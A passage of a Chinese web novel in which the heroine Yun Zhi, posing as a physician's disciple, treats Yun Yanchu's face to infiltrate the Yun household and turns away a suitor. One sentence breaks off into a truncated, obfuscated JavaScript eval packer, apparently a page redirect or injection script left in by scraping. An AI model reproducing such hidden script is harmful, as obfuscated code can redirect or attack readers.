若得来的太过容易,反而容易让人生疑。 “好,就让她先急一急。”阿璧显然也明白云织的想法。“那你就给她回个帖子。” 待云织写好了婉拒的帖子,便差人送了过去。 而云妍初的第二张帖子,来的比她们预料的还要快。 当日午后,第二张帖子便递到了云织的手中。 帖子中云妍初言辞恳切,恳请云织一定拨冗前来,姿态可谓是放得极低。 “看来,她的确是遇到了很紧急的状况,却又不好找普通医者诊治。”云织看着云妍初的第二张帖子,淡淡道。 “应该是了。那我们这次去不去?” “自然要去,不能浪费了这雪中送炭的好机会。”云织道。 从来锦上添花易,而雪中送炭难。 若她在云妍初急需帮助的时候出手相助,她在其心中的分量,自然便要更重一分。 日后打探消息,则更加容易。 午后。 待云织妆饰整齐,出了门,云府的马车早已在门外等候。 “云小姐,请上车。”驾车的仆从态度恭敬,显然是来前便得了嘱咐。 云府其实离新宅不远,拐过前面的路口便到了。 但神医高徒的架势,要有。 云织并不多言,对仆从点了点头,便扶着阿璧的手上了马车。 不过片刻之后,随着车轮辘辘的声音停下,仆从的声音自马车外响起。 “云小姐,我们到了。” 云织扶住阿璧的手,下了车。 “您就是云织小姐吧?”她才站定,一个一身浅粉色衣裙的丫鬟便殷勤上前道。 云织抬眼看去。 这丫鬟,她曾有过一面之缘。 正是首次去云氏药铺时,差点撞到了她的那个,名叫紫苏的丫鬟。 紫苏对着云织行了个礼,面上眼里全是喜色,“云织小姐,我们小姐正在府上等您呢,请您随我来。” 云织不语,但也未动。 她眸光淡淡扫过云府的匾额,又扫过紫苏的脸,带出一丝矜傲的气势来。 “云织小姐见谅,我们小姐……眼下不便出门,所以没能亲自前来迎接您。”紫苏见云织的神情,瞬间明白过来,忙解释道。 “我们小姐等着盼着您呢,实在是……”紫苏不好再多言,看着云织的目光里全是恳求。 “带路吧。”云织又淡淡看了紫苏一眼,才开口道。 “哎,哎!”紫苏闻言立刻满脸喜色,唯恐云织会反悔一般,“云织小姐,您这边请!” 见云织终于抬步向前,紫苏才长长舒了口气。 早就听人说,越是医术精湛的医者,脾气便越大、越古怪,果然如此! 紫苏想着,面上便愈加恭敬。 阿璧跟在云织身旁,也是一副不苟言笑的模样,实际心底将笑意压了又压。 织织平时虽然性子冷淡,但却不孤高矜傲。 今日扮出这幅眼高于顶的样子,竟还挺像样的! 云府的格调布局显然没有许府精致气派,但也算开阔,比起京城里家世一般的府邸,要好上不少。 紫苏引着她们入了后院,没走多久,便进了一所精致的小院子。 “小姐,云织小姐来了!”还没等引着人进屋,紫苏便满脸喜气的喊道。 “云织小姐,您快请进!” 云妍初的闺房布置很是雅致。 素面的屏风隔出了内室,外间便是书案,除了笔墨等物外,案上还摆了一架古琴。 墙边的架子上,则摆满了书籍。 云织目光自屋内摆设上一扫而过。 看这布置,这位云家的大小姐,倒是按照世家小姐、大家闺秀教养的。 待绕过屏风来到内室,便见到一个浅青色的纤细人影正坐于榻上。 而她面上,竟戴了一块丝帕,将整张脸遮得严严实实。 “云织小姐,你来了。”待见到云织,榻上的人便立即起身,“云织小姐首次登门,我这样……实在失礼了,还请云织小姐见谅。” “说起来,云织小姐也是姓云,我们还是本家呢!”云妍初话中的热络恰到好处。 云织看到云妍初的模样,瞬间便明白了她为何要找女医。 女子向来看重容貌,云妍初自然也不例外。 此刻看她的样子,定然是面容有损,却又有所顾忌、不敢声张,这才急着要找女医上门。 “云小姐,可是得了什么棘手的病症,才一定要见我?”云织面色淡淡,开门见山。 她本就性子淡漠,此刻对云家人更是全无好感,医术高深却不好相与的架子信手拈来。 “……正是……”见云织并不接她的寒暄,云妍初有一瞬的怔愣,但很快又恢复如常。 既然云织不喜欢绕弯子,她便也索性直接开口。 “原本初次见面,实在不该劳烦云织小姐的,实在是……我的脸,现在难以见人……”云妍初隔着帕子抚了抚自己的脸,满是歉意地一笑,“还请云织小姐千万不要见怪的好。” “帕子摘下来吧。”云织淡淡看了云妍初半晌,道。 “啊?哎!” 云妍初愣了一瞬之后,忙应了一声,将帕子揭了下来。 她递了两次帖子,极尽恳求,才求得这位据说师从神医的云织小姐大驾,本以为怕是还要再多说说好话,才能求得这位云织小姐出手,却没想到她竟这般好说话。 看来,这位云织小姐性子虽冷,却是个心肠软的。 待面上的帕子揭下来,饶是一旁的阿璧早便有所准备,也不由得深吸了一口气。 云妍初肤色白皙,五官娇美,原本应是姿容不俗,但此刻那张白皙的面上竟布满了大大小小的红紫肿块,且有些已经化脓破溃,看着实在惨不忍睹。 云织眉目不动,眸色清冷,专注地看着云妍初面上的肿块。 云妍初本来攥紧着手心不敢抬头,满心羞惭,但见云织始终面无异色,心内竟瞬间便安定下来。 她早便派人打听过了,这位云织小姐的确师从神医,是有真本事的。 且看她此刻如此淡定从容,想必……这病症,于她定是不难。 “云小姐的病症,的确严重,”云妍初的心刚稍稍放下,听到云织开口,瞬间又提了起来。 “但,于我,不难。” “云织小姐此话当真!” 饶是云妍初不断告诉自己要稳重,不要显得过于急切,有失风范,但还是忍不住便脱口而出。 “若是……若是云织小姐可以治好我的脸,云织小姐想要多少银钱,我定都会付!” “我为人诊病,看的是个缘字。”云织双手交握,抬眸。 “若是缘至,则分文不取也治。” “若是缘缺,则黄金百两也不治。” “云织小姐,若是云织小姐能治好我的脸,便是妍初的大恩人。”云妍初忙上前一步,面上满是急切。 “日后云织小姐若有需要妍初帮忙的,妍初便是赴汤蹈火,也不会说一个不字!” 阿璧站在云织身边,敛住眼底的得意之色,暗暗挑了挑眉。 织织这下,把这云妍初拿捏得死死的。 什么病症、如何用药都不必细说,便如此迫不及待、对云织满心信任了。 “既是同姓,又偶然遇到,自然缘分是要比旁人厚一些的。” 云妍初闻言瞬间便是面上一喜。“云织小姐这是……答应为我诊治了吗!” “若是信我,七日内,我定会让妍初小姐的面容恢复如初。”云织淡淡道。 “云织小姐……果然是神医高徒!”云妍初闻言不由得眼圈一红,声音便带了哽咽,“我……我信!” 容貌于女子而言有多么重要,更何况她尚未出阁。 面上生了肿块的这些时日,她不敢照镜、不敢出门,食不下咽、夜不安寝,却又不敢召医者前来诊治,唯恐治不好她的脸不说,还将她如今的模样说了出去,日后惹人嘲笑。 定是天可怜见,才让云织小姐来了京城,又让她的奴婢偶然到云氏药铺抓药,让掌柜的恰好得知! 她的脸有救了! “不管需要多少银两,需要什么药材,云织小姐只管开口便是。”云妍初压了压心绪,满心诚意地道。 “只是……云织小姐可否费心,让我的脸……能早一些时日恢复?”云妍初面色激动地泛着红,有些忐忑。 怕是会惹云织不快,她忙又补了一句:“再过五日,便是长平公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说话间,紫苏带着云织与阿璧拐过一道垂花拱门,差点便与人迎面撞上。 “哎呀!”紫苏脚下一个踉跄差点摔倒,便被来人伸手扶住了胳膊。 紫苏站稳身形后抬头看去,面上瞬间绯红。 “大……大公子!” 来人一身白衣,半束发,手中托了几本书稿。 他看着紫苏,眉眼含笑,嗓音低醇,“怎么这样急匆匆的,有没有受伤?” 云织看着那张笑容温润的脸,和如墨染黑眸。 风光霁月,儒雅谦和。 似乎再温雅的词用在这人身上,都不为过。 恢复的记忆中,他也是这样温柔浅笑,叫她昭昭。 送她很多很新奇的玩意,说因为昭昭喜欢,只要昭昭开心就好。 像一个永远会宠溺她、纵容她的兄长。 云-清-川。 云织在心底一个字一个字地念出他的名字。 这句清川哥哥,她曾经真心真意地唤了许多年。 像是感觉到云织的目光,云清川侧眸看过来,便正对上云织的视线。 一瞬之后,云清川面上的笑容更深了些。“紫苏,今日妍初有客人?” 话虽是在问紫苏,但目光却仍温和而不失礼地注视着云织。 “是,大公子……”紫苏面上的绯红未褪,忙行了个礼,“这位是云织小姐,是……是小姐请来调养身子的医者。” 云清川面上的笑意微微一凝,眸光里多了一丝莫名的光亮。 “云织小姐,也姓云呢。”云清川浅笑着,嗓音似乎低沉了几分,“更难得,竟还是医者。云织小姐,定然费了许多辛苦吧!” 莫名的情绪瞬间涌上心头,云织狠狠攥紧手心。 曾经,她若配制了什么新的方子,父亲母亲会夸赞她聪慧,谢凛会为她高兴,送她礼物、或是带她去骑马,只有云清川会轻轻拍拍她的头,说昭昭定然费了许多辛苦吧。 人依然是旧时人,心却早已不是那颗心。 “告辞。” 一时翻涌的情绪让云织几乎承受不住,她垂眸,只说了两个字,便抬步向外走。 “云织小姐!大少爷,我……先送云织小姐出去!”紫苏见云织离开,忙小跑了几步追了过去。 阿璧侧眸看了云清川一眼,也抬脚跟上。 云清川侧过身,看着云织的背影越走越远,眸中意味莫名。 17. 一厢情愿 子夜。 黑漆漆的屋内没有掌灯,云织蜷坐在榻上一角,蹙着眉,手紧紧抵住心口。 她紧紧咬住唇,面上冷汗淋漓。 又来了。 那股心口像是被人狠狠刺穿的痛。 云织眼前一阵阵发黑,竭力控制着呼吸,不让自己发出任何动静,视线时时投向房间门口。 阿璧的房间与她的相邻,且素来警觉,若是她有异常的响动,阿璧定然会立即发现。 不可以,再让阿璧为她更担心了。 不知过了多久之后,那股锥心般的痛意才缓缓散去。 云织脱力般地靠在了榻上,缓缓地长舒了口气,后背的衣衫已被冷汗浸透。 举起手,看着掌心的那条金线。 自为许菀织魂后,她便再未为死者织魂。 这金线,似乎也便停止了蔓延一般,停滞在了她的腕上。 阿璧说,不论这金线的蔓延代表了什么,既然不为人织魂便不会蔓延,那么便不做。 若是可以选择,她也不想继续织魂,让身边的人担心。 但,若是别无选择—— 云织眸色淡漠,手渐渐攥紧。 痛过了之后,云织便睡不着了。 所有与云家灭门那夜有关的记忆,每当夜里无法入睡的时候,她便会仔仔细细回忆,如今已经回忆了无数遍。 起初她以为,她和阿璧跳下悬崖,是因被云清川追杀。 可又恢复了许多记忆后她便发现,阿璧背着她跳下悬崖的时候,云清川是不在那里的。 在她们掉下悬崖后,她却看到了云清川立在崖上的身影。 为何? 他一身青衣持剑,显然与那夜灭了云家满门的黑衣蒙面人不是同伙,但为何会在那时,那刻,出现在那里? 她没有答案。 但心里却有所猜测。 能一夜之间灭了云家满门,且时至今日没有查出凶手的任何线索,那便说明,凶手的势力必然很大。 所以才能随意调动那么多杀手,行动迅速,且在事成之后立即撤退得无声无息。 放眼整个大梁,势力大者,无不是皇家之人。 云织脑中逐一闪过云归远,云清川,云妍初,云妃。 在想到那位长平公主时,云织的思绪一顿。 秋日赏花宴。 … 由于夜间的心口绞痛,且又独自枯坐思虑良久,第二日,云织便醒迟了。 阿璧与秋兰秋竹唯恐扰了云织,早间行走说话,都是轻手轻脚,刻意压低了声音的。 待云织终于醒来,已过卯时。 她梳洗完毕,秋兰秋竹便将温好的早饭端上来,才吃了几口,云府来接的马车便到了。 “先不吃了。” 云织才要起身,却被身旁的阿璧一把拉住手臂。 阿璧抬眸看着云织,神态自得,“织织,你急什么呢!神医高徒,自然要有神医高徒的架子。” 她偏过头,向外瞥了一眼,“让他们等着!” 宅子门外。 云府的马车已等了许久,还不见云织出来,车夫却也不敢显露出一丝丝的不耐烦。 大小姐说了,这位云织小姐性子孤傲,万万不可得罪的。 又等了一会儿,才终于见到云织与阿璧两人姗姗而来。 车夫忙上前几步,微微躬身,“云织小姐。” 云织略点头,便与阿璧一起上了马车。 到了云府,才进了云妍初的房间,一道绯红色的纤细人影便奔了过来。 “云织小姐,你来了!” 云织站定,仔细看着云妍初的脸。 “云织小姐,你看我是不是好多了?”云妍初眼巴巴地看着云织,满脸的喜色与迫不及待,“我今日醒了,便觉得我的脸好了许多!” “恢复得不错。”云织收回视线,淡淡道,“按时敷药,再有四五日,便可恢复如初。” 云妍初闻言,方才的期待瞬时化为一腔惊喜。 她的脸,真的有救了! 再过几日,她便可以出门,便终于可以去参加赏花会! “多谢云织小姐!你……你就是我的大恩人!”云妍初一时激动难抑,牵住了云织的衣袖。 云织垂眸,看着云妍初牵住她衣袖的手,微微皱眉。 阿璧也低下头看过去,眉头皱得更紧。 “对……对不起,云织小姐,我方才……”云妍初看到云织主仆二人的神情,瞬间心内一跳,忙放开了手,忐忑地开口。 “先换药吧。”云织淡淡地道。 … 待云织为云妍初换过了药,依然是紫苏将她们二人送出门去。 今日的紫苏有些心不在焉,话也没有昨日那般多。 在拐过昨日遇到云清川的那道拱门处,紫苏特意停了停,伸头向外头看去。 果然……又遇到了! “大公子!”紫苏满脸惊喜地开口。 在看清云清川身后还跟着其他人时,忙敛了神色,“大公子今日……怎么回来的这般早……” 云织抬眸看去,恰好便与云清川四目相对。 她微微点了点头,便欲挪开视线,却不想看到了云清川身后跟着的两人,视线便是一顿。 恰好那两人也正向她的方向看过来。 许姝与燕紫鸢均是一愣。 怎么会在这里遇到她? “今日无事,便回来的早了些。”云清川温润浅笑着答了,又转向云织,眸色依然清润如溪,“云织小姐,这是便要回去了吗?” “嗯。”云织不欲多言。 “这两位是妍初的好友,听说妍初身子不适,特意前来探望。”见云织看向他身后,云清川微微侧身道。 待说完了,又转向许姝与燕紫鸢,“许三小姐,燕大小姐,这位是云织小姐。” 行动间温和有礼,举止端方。 云织的目光在面色泛红、眸光躲闪的许姝面上扫过,又看了冷冷注视着她的燕紫鸢一眼,淡淡开口,“三小姐,别来无恙。” 许姝面上绯色更深了几分,绞着帕子没有说话,燕紫鸢则是冷冷哼了一声。 “原来几位小姐竟是旧识?”云清川面上有一瞬的惊讶,眸色清亮,“那我方才的介绍,倒是多此一举了。”说完,便又微微摇头浅笑。 “有些渊源。”云织不想再多留,便抬步欲走。 “云织小姐,明日可还来为妍初看诊?”却不想她才刚刚抬脚,便听云清川又继续道。 云织顿住,蹙眉抬眸。 根据往日的记忆,云清川虽然性子温和,但却并不是多事之人。 即便是不了解他往日性情,对于她这样一个仅有两面之缘的陌生人,他未免,太过关注了点。 “云织小姐不要误会,”云清川见云织抬看过来,瞬间便明白了她的想法,浅笑着解释,“近日妍初身体欠佳,整日心情郁郁,我很是担心。” “云织小姐医术卓绝,若是云织小姐费心照顾,想必妍初很快便会痊愈如初。” 云织看着他,并未答话。 云清川说的似乎在理,但她却隐隐觉得不对。 “医术卓绝?” 此时,一直立在一旁未开口的燕紫鸢拧着眉,看着云清川,“云公子,你说她,懂医术?” 云清川闻言微微皱眉,但还是客气地道:“正是。云织小姐医术精湛,妍初正是得了云织小姐的诊治,如今身子已经大有好转。” 燕紫鸢闻言,眸色又冷了一分,看向云织的目光里满是不可置信。 这样一个出自小门小户的野女人,竟会医术?还医术精湛? 为何从来没有听许姝提起过! 燕紫鸢眸光向身旁的许姝扫过去,却见许姝面上也满是困惑。 燕紫鸢心内立时多了不耐烦。 真是不中用! 亏得这野女人还在许府住了那么久,她竟连人是做什么的都没搞明白! “对的,这位小姐,我家小姐不仅会医术,而且师承神医,整个京城能比过我家小姐的,怕是一个巴掌都数得过来,”阿璧看着燕紫鸢,面带得意地脆生生开口了。 “若是这位小姐有哪里不舒服,可以试试看求我家小姐出诊呢!只不过,我家小姐可不是什么人都能求得动的!” 阿璧说完,像是想起了什么,故作惊讶地继续道:“哦,对了!上次这位小姐与三小姐摔的那跤,摔的实在是太惨了!眼下已经全好了吗?” “若是还没好,我们小姐可以看在一面之缘的份上,赠些药给这位小姐呢!” “你!” 燕紫鸢见阿璧提到她上次出丑,瞬间怒不可遏,“你一个丫鬟,我和你主子说话,哪里有你插话的份!” “你家小姐难道没教过你做下人的规矩吗!” 此话一出,云织瞬间面上一冷,便欲开口。 “燕大小姐,慎言。”一旁的云清川竟先一步开口了。 云清川面上不见了素来的温润,而是眸色肃然地看着燕紫鸢。 “云织小姐是我府上贵客,她的婢女,不是旁人可以随意说道的。” “燕大小姐既然自恃懂得规矩,那么,便请多些尊重。” 话虽然听着不算责备,但语气已经是很重。 “哼!”燕紫鸢面色微微一白,便避开云 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“有心事?”云织问。 许衡奕闻言一阵苦笑。“什么都瞒不过你。” “云织,你说,这世上有没有父母,完全不爱自己的孩子?”半晌之后,许衡奕才低低开口道。 云织不由得抬眼看了看眼前的人。 人虽然看似醉了,心却明明无比清醒。 “没有父母会不爱自己的孩子。”云织脑中不由得浮现出父亲母亲的脸,轻声道。 “真的吗?可是为何,我觉得我父亲母亲……全然不在意我呢……” 许衡奕的声音很轻,其中带着浓浓的感伤。 “也不算是全然不在意,是那种……像待外人一样的客气,和疏离,”许衡奕抬着发红的眼看向云织,“云织,你懂吗?” 云织脑中不由得浮现出赵氏的脸。 想起,当许姝玩笑间提到许衡奕时,赵氏眼中一闪而过的冷意。 原来,他与母亲的感情,真的不好。 平时看着浪荡潇洒,没个正形,其实心内怕也装了许多苦恼和忧伤,只是轻易不对人展示罢了。 “不太懂。”云织沉默了一瞬,才答道,“我的父母,对我是极好的。” 许衡奕忍不住侧头看向云织。 这还是第一次,云织对他提起她的家人身世。 这是不是说明,云织开始信任他,愿意对他敞开心扉了? 那……他是不是,也不算是一厢情愿? 不知是不是酒壮人胆,许衡奕看着云织的眸色中多了一丝说不清的情绪,“云织,其实我……” “许大公子,时辰不早了,请回吧。”云织忽然面色发冷,直接打断了他。 “大公子既然醉了,就该回去好好休息,不该乱跑。” 许衡奕一愣。 这人怎么说变脸就变脸? “可是我……”许衡奕心里一急,便急声要继续说。 “许大公子,你醉了。”云织再次打断他,眸色冷似霜雪,一字一顿地道。 许衡奕怔愣了一瞬,眸中的光像是瞬间熄灭了,只余一片灰暗。 终于,他沉默着站起了身。 “许大公子若是没有重要的事,日后,便少来吧。” 许衡奕的背影一滞,却没再转头,而是垂着头,沉默着走了出去。 直到许衡奕的背影消失在视线里,云织才攥紧着手,重新坐了下去。 院中竹叶被风吹动着,沙沙作响,那声音……乱得正如云织此刻的内心。 方才,许衡奕那瞬间的目光,她看懂了。 也是在一瞬间,她便明白了许衡奕想要说什么。 那目光里蕴藏的情绪,她见过。 幻境中,在谢凛看向她时的眼神里,和在她看向谢凛时的眼神里。 便是在今日,也曾在许姝看向云清川时的眼神里,见过。 那是男女之间才会生出的情愫,是在看向喜欢的人时才会有的眼神。 也正是因为她看懂了,才不能让许衡奕说出口。 许衡奕一片真心相待,她是感动的,心里也是真的将他当做朋友。 但,也仅此而已。 此刻她越是拒绝的干脆利落,许衡奕受到的伤害,便会越轻。 云织抬眸,看着天上的残月,心内一时不知是什么滋味。 许衡奕,多谢你的错爱。 愿你日后能像从未遇到过我一般,过从前那般安稳无忧的自在生活。 18. 视力太好 次日。 “织织,我觉得,今日我们还是会遇到那位云大公子,”前往云府的马车上,阿璧凑近云织的耳旁,悄声道,“你可信?” 由于谢凛的前车之鉴,此次阿璧并未先入为主,直接将云清川定为与云家灭门有关的仇人,所以在对他的称呼上,很是客气。 今日,是织织为云妍初治疗的第三日。 她直觉得,不管是不是凑巧,今日这位云大公子,依然会在。 若是他真的在…… 一次两次可以说是偶然,若还有第三次,那便绝对是刻意为之的“凑巧”了。 云织闻言垂眸。 云清川的关注,从昨日遇到的时候起,她便感受到了。 只是,他是因为发现了什么,还是纯粹对她竟也会医术而感到好奇,她并不确认。 无论是为了什么,于她,都是件好事。 她刻意接近云府,本就是为了云清川而来。 “织织,你今日这身打扮,真好看!”阿璧见云织不语,又道,“你便该多穿这样鲜艳的颜色,衬得你气色特别的好!” 今日的云织,穿着与往日大为不同。 她素来穿着素淡,不喜欢艳丽张扬的颜色,但今日竟穿了一套浅翠色的衣裙,衬得她少了几分清冷,多了几分灵动,格外娇艳动人。 “嗯。”云织弯了弯嘴角,轻轻应了一声。 垂眸看着今日所穿的衣裙,眼底满是心事。 待到了云府,云织照例为云妍初换了药。 不过才过了两日,云妍初面上的肿块竟消了大半,先前破溃的几处也已结了薄薄的痂。 云妍初照过镜子,对如今恢复的情况大为满意,对云织医术的信任也更加深厚。 “再敷一日,便可停了这药,不必包裹棉纱了。”云织净了手,在桌旁坐下。 “明日我会再带另一味药来给你,早晚各涂抹一次,两日后,便可痊愈。” “嗯!我记下了!”云妍初认真听着,看着云织的眸光里满是信任与崇拜。 她顿了顿,又开口道:“云织小姐,昨日你离开后发生的事,紫苏对我讲了。” “昨日,许三小姐与燕大小姐,对你和阿璧姑娘多有冒犯,还请云织小姐,不要与她们一般见识。” 昨日听紫苏说了此事,她着实是气得狠了。 她本就面目受损、不想见人,听了此事后便让紫苏以她身子不适、需要静养为由,直接将她们打发走了。 云织是她求了好久,才答应登门诊治的,若是因为她们二人开罪了云织,云织后续不再为她治疗……她简直不敢想。 且那燕紫鸢自恃身份尊贵,平日里眼高于顶,是根本不屑与她这样的商贾之女结交的,之所以与她亲近,是因为云妃姑姑,和长平公主。 而那许姝,则是因为对她大哥存了那份心思。 这些,她心里都明白的很。 平日里凑在一起,不过是各有目的虚情假意罢了,又有几分真心相交之情。 可云织不一样。 云织真心为她诊治,也是真的治好了她的脸,更难得还分文未取。 就凭这份真心,她定不能教云织在她的家里受了委屈,伤了她们才刚刚建立起来的情谊。 “昨日之事,并非因你而起,不必道歉。”云织语气淡淡。 可云织越是这般淡然豁达,便显得许姝与燕紫鸢的所作所为越是无礼,云妍初心内便愈加感动,觉得过意不去。 “云织小姐,我……”云妍初咬了咬唇,还要再说些什么,便被云织打断了。 “妍初小姐的脸虽然已无大碍,但,却并非已彻底痊愈。” “没有……没有彻底痊愈?”云妍初闻言满心震惊。 原本想要继续向云织道歉的话,瞬间便抛到了脑后。 半晌之后,她才定了定心神,嗓音轻颤着开口:“云织小姐……这是,这是什么意思?” “妍初小姐的脸,已痊愈□□,还余一分未除。若是妍初小姐要去参加赏花宴,定然要注意。” “注意……什么?”云妍初心提在半空,紧紧盯着云织。 “妍初小姐所起这肿疮,实际是禀赋不耐,触忤异物所致,淤毒滞于五内,继而汹湃而发。”云织道,“此症最忌接触花粉,尤其是在尚未完全恢复之时。” “否则便可能会导致肿疮复发,先前的治疗便功亏一篑了。” “那……那怎么办?”云妍初被云织所言吓得脸都白了。 赏花宴啊,顾名思义,自然是要赏花的。 怎么可能不接触花粉呢! “云织小姐是否……是否可以提前配置好药物,赏花宴的时候,我随身带着,以防万一?” “是可以,但因为不知赏花宴上都有什么花,若是我随意配药,届时不仅没有效果,还会伤及妍初小姐肌肤。”云织依然面色淡淡。 “那……那怎么办……”云妍初双眸含了泪水。 她苦苦等了这么久,盼了这么久,忍耐着疼痛和折磨捱了这些天,便是为了这赏花宴。 如今终于要痊愈了,却又听闻这样的事。 她要参加赏花宴,是为了……见二皇子殿下,哪怕只能远远地看上一眼都好。 如今眼瞧着愿望终于要实现,怎能功亏一篑! 满心绝望间,云妍初瞬间想到了什么,立时抬眸看向云织。 “那……如果我带云织小姐一起去赏花宴呢?” 她双眸灼灼看着云织,满眼都是期待,“若是云织小姐也一同参加,届时看了有什么花,是否能当即配制出对症的药物呢?” 云织沉默了半晌,像是思索了一番后才终于道:“可以,但我素来不爱热闹,不会去参加什么赏花宴。” “云织小姐!”云妍初闻言眼睛瞬间一亮,忙上前拉住了云织的衣袖,“云织小姐可否同我一起去?” 以她和长平公主的关系,再多求得一张帖子,并非难事。 若是云织可以同去,她的问题,岂不是迎刃而解! 见云织蹙眉,云妍初忙又道:“我知道,云织小姐不喜欢热闹,但……我实在没有办法了,云织小姐,可否再帮妍初一次?” 云织面色似有松动。 云妍初趁机继续恳求,“这赏花宴……我是一定要去的!云织小姐医者仁心,想必定不愿见我病症复发。” “请云织小姐再帮我一次,日后如果云织小姐需要妍初帮忙,妍初绝不推辞!” “好吧。”许久之后,云织才终于道,“只此一次。” “下不为例!”云妍初眼中的泪意还没来得及压下去,便笑得眉眼弯弯。 云织果然医者心肠! 这样的人,日后定要多结交才好! 阿璧看着云妍初喜出望外的模样,竭力压制着嘴角。 明明来之前织织便计划好的,要去参加那个赏花宴,借机调查云妃与长平公主是否与云家的仇有关。 可织织偏偏一副全然不感兴趣的模样,被云妍初求着去参加,然后才不情不愿地答应。 不显山不露水,便达成了目的。 她们织织,最是冰雪聪明了! “什么下不为例?”此时,屋外一道温润的声音响起。 听闻这声音,云织眸色立时一凝。 而阿璧则是侧头看向云织,眼里写满了“果然如我所料”。 这位云大公子,果然又来刻意“凑巧”偶遇了! 怕是没安什么好心! “大哥!”云妍初闻言一喜,立刻站起身来,小跑着出去。 “大哥,你今日怎么来了?” “今日无事,便来看看你。” 云妍初挽住云清川的手臂走回屋,眉眼间满是喜色,“大哥,我方才在邀请云织小姐一同去参加长平公主的赏花会,云织小姐同意了!” “哦?”云清川温润的目光转向云织,在看到她今日所穿的衣裙时,眸底显然亮了一瞬。 半晌之后,他才掩住眼底的神色,恢复了温润的笑意,“云织小姐,答应一同前往了?” “嗯。”云织并不多言。 方才云清川眼底的那丝异色,自然没有逃过她的眼睛。 “那,我们那日便可一同前往了。”云清川看着云织,浅声道。 “大哥,你也要去吗?”云妍初瞬间眸色一亮,“可是,你不是说,那日没空陪我吗?” “原本是的,但计划有变。” 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“云大公子,怎么了?”云织眸色清冷,看着云清川怔然愣神,淡淡地道。 “无事,是,想起一些旧日的事。”云清川回过神来,看着面前的云织,又是浅浅一笑。 两人继续前行。 “不知云织小姐,是哪里人士?如此年纪轻轻,医术便如此精湛,想必,是师承高人?”云清川道。 “萍乡镇人。至于师从何人,”云织顿了顿,“我答应了师傅,不可以对外人说。” 云织说完,便觉得云清川看过来的目光中,多了一丝探究。 行走间,便到了云府门口。 “云织小姐,很像我的一位故人。”云清川站定,看了云织一瞬,轻声道。 “哦?”云织侧眸,“不知,云织像云大公子的什么人?” 云清川直直看着云织,似乎想在她的面上找到些什么。 半晌之后,才终于低声浅笑,道:“算了,是我多想了。” “那便祝云大公子,少思少虑,夜能安枕。”云织抬眸看着云清川,忽然笑了一下,“告辞。” 那一笑犹如冬雪映梅,霎那芳华,耀眼到身边的一切仿佛瞬间失去了颜色。 云清川蓦地愣住。 像是有什么在他脑海中瞬间炸开。 他看着云织转身离开,看着她被搀着上了马车,看着马车缓缓而动,渐行渐远。 直到马车拐过前方的街角,再也看不见,却依然久久不动。 … 与此同时。 云府旁的高树上,一个黑色的身影隐在茂密的枝叶中,将方才的情景看得清清楚楚。 沈青满心焦灼,恨不能立即飞身离开。 但云清川仍着了魔一般立在原处不动,他便只能耐着性子等着。 他向来不是沉不住气的人。但…… 方才,他都看到了什么? 素来只爱穿素净衣物的云织小姐,今日穿的很是鲜艳。 不仅如此,云织小姐今日,竟是被云清川亲自送了出来。 最重要的,云织小姐方才……方才竟然对着云清川笑! 还笑得特别好看! 沈青不敢相信自己的眼睛。 这还是那个素来淡漠疏离的云织小姐吗? 想到自家公子在云织小姐面前从没有得过什么好脸色,沈青心头不由得又是气愤,又是心疼。 自上次云织小姐将那药还给主子后,主子这几日便更加冷漠寡言了。 这个云清川,论样貌论家世,哪里比得过他们主子? 主子为了云织小姐跑前跑后,那样的付出,怎的云织小姐全都不领情,竟与旁人如此亲密! 沈青不由得想,待谢凛听到此事后,面上该会是怎样的伤心与落寞。 越是想象,便越是不忍。 第一次,沈青恨自己是个忠于职守、且从不会说谎的下属。 还有,视力太好。 19. 一剑封喉 许府,梧桐阁。 “大少爷,还把自己关在里面?”天色将晚,许玖路过时,看着守在门外的许柒,悄声道。 许柒没有言语,只是点了点头。 自那日从云织小姐新宅回来,如今已经三日了,少爷就这样将自己关在房间里,谁来叫都没用。 老太太差人来过了,没让进门。 三小姐亲自来过了,也没能进门。 “要么,去找老爷和夫人,来劝劝?”许玖压着嗓音道。 “你又不是不知道少爷与老爷和夫人的关系,”许柒皱眉瞪着许玖,也压低声音,“若是老爷与夫人来劝,只怕少爷心情会更差。” 许玖皱着眉,思索了一会儿,眼睛瞬间一亮。 “我看,还是找云织小姐来劝劝吧!许是少爷与云织小姐闹了什么矛盾,云织小姐若来,少爷气消了,定然就好了!” 许柒无奈地瞥了许玖一眼,再无法忍受这人的蠢笨,无语望天。 少爷这心病,可就是因为云织小姐得的啊! 虽说那日他没跟进新宅的院子,但许柒猜,少爷多半是一时冲动,对云织小姐表明心意来着。 再看自家少爷这几日消沉的模样,八成是被拒绝了。 许柒心里一声叹息。 我的少爷啊,您真是……不听许柒言,这下伤心了吧! 您的正缘,是燕大小姐,老爷夫人早便定了的。 只能是燕大小姐啊! “既然云织小姐也不行,那总不能,叫燕大小姐来劝吧!”许玖仍皱着眉,自言自语道。 许柒听得心里一堵,白眼几乎要翻到天上去。 此刻,他突然无比想念沈玄。 不知道,能不能求一求主子,让主子把这个没脑子的,带去跟谢公子换了沈玄回来? … 与此同时。 谢府书房。 书房内没有掌灯,一片黑暗,沈玄则守在门外。 “公子,在里面?”自门外走进的沈青见沈玄守在书房门外,不由得眉头一皱,低声问道。 沈玄暗暗叹了口气,点了点头。 叹完了气,沈玄压低了声音问道:“你昨日,到底跟主子说什么了?” 自昨日沈青回来,向公子嘀嘀咕咕一阵之后,公子便不大对了。 这两日除了上衙,便把自己关在书房里,许久都没个动静。 虽说自家公子近来便情绪不太好,但却也没差到如此地步。 “说来话长。”沈青避开沈玄的视线,含糊应了一声。 他自然知道自家主子为何不对。 昨日他回到府上,便将在云府外看到的一切都告诉了公子。 沈青现在还记得公子当时的神情。 从来冷然自若、受了再严重的伤都没有皱过一下眉头的人,那瞬间的愤怒,担忧,犹豫,和惶恐,全都显露无余。 除了听闻凤梧山云家出了事的那次,他便再没在自家公子面上看到过这样的神情。 即便是现在想起来,他心里还很不是滋味。 “今日长平公主又差人送来了一张赏花宴的帖子,喏,第三张了。”沈玄皱着眉,“要么,你现在送进去,趁机看看公子有没有好一些?” 想起主子收到前两张帖子时的眼神,他实在不敢送进去。 沈青无奈瞥了沈玄一眼。 